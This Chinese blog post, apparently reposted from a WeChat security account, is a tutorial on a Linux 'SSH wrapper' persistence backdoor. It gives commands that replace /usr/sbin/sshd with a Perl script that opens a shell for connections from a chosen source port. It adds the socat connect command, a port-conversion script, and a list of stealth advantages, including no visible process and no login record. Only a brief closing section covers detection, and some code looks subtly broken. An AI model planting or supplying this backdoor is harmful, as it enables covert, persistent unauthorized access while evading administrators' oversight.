Linux权限维持-SSH wrapper

admin 2024年3月1日09:11:46评论12 views字数 1355阅读4分31秒阅读模式
请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关,如有侵权,告知即删并致歉,感谢!

SSH wrapper后门原理

Linux中init首先启动的是/usr/sbin/sshd,原始的sshd监听端口建立了tcp连接后,会fork一个子进程处理具体工作。如果这个子进程的标准输入输出已被重定向,那么getpeername能获取到客户端的TCP端口,将会派生给执行sh命令执行的权限。简而言之就是反弹shell,与常见的反弹shell不同的是,SSH wrapper后门通过长连接反弹shell的方式,使得攻击者在退出终端后仍然能进行连接

SSH wrapper后门实现

这里伪装成一个perl脚本,名为sshd,位于/usr/sbin/sshd,将系统原来的sshd移动到/usr/bin下

cd/usr/sbin/
mv sshd ../bin/
echo '#!/usr/bin/perl' > sshd
echo 'exec"/bin/sh"if(getpeername(STDIN)=~/xb8/);' >> sshd
echo 'exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV,' >> sshd
chmod u+x sshd
systemctl restart sshd

攻击机进行连接

socat STDIO TCP4:192.168.100.10:22,sourceport=8888
Linux权限维持-SSH wrapper

xb8是Big 网络字节序的Ascii表示形式,这里表示8888端口 这里不是固定的,这里提供一个端序转换脚本,输入你想要的端口号即可转换为大端序

import struct

def convert_to_big_endian(value):
    try:
        value = int(value)
        byte_sequence = value.to_bytes(4, byteorder='big')
        return byte_sequence
    except ValueError:
        print("输入值无效。请输入一个整数。")
        return None
# 获取用户输入
value = int(input("请输入整数值:"))
byte_sequence = convert_to_big_endian(value)
if byte_sequence is not None:
    print(f"原始值:{value}")
    print(f"转换后的大端字节序:{byte_sequence}")
Linux权限维持-SSH wrapper

优点:

1、在无连接后门的情况下,管理员是看不到端口和进程的,last也查不到登陆。

2、在针对边界设备出网,内网linux服务器未出网的情况下,留这个后门可以随时管理内网linux服务器,还不会留下文件和恶意网络连接记录。

SSH Wrapper应急响应

其实这款后门也比较好发现,首先正常的sshd 文件是ELF格式,而后门是纯文本脚本,使用file 命令就可以发现 后门文件

Linux权限维持-SSH wrapper

正常文件

Linux权限维持-SSH wrapper

一个将是对作者最大的鼓励,点击下方关注我!!!

原文始发于微信公众号(河马安全区):Linux权限维持-SSH wrapper

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年3月1日09:11:46
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Linux权限维持-SSH wrapperhttp://cn-sec.com/archives/2522813.html

发表评论

匿名网友 填写信息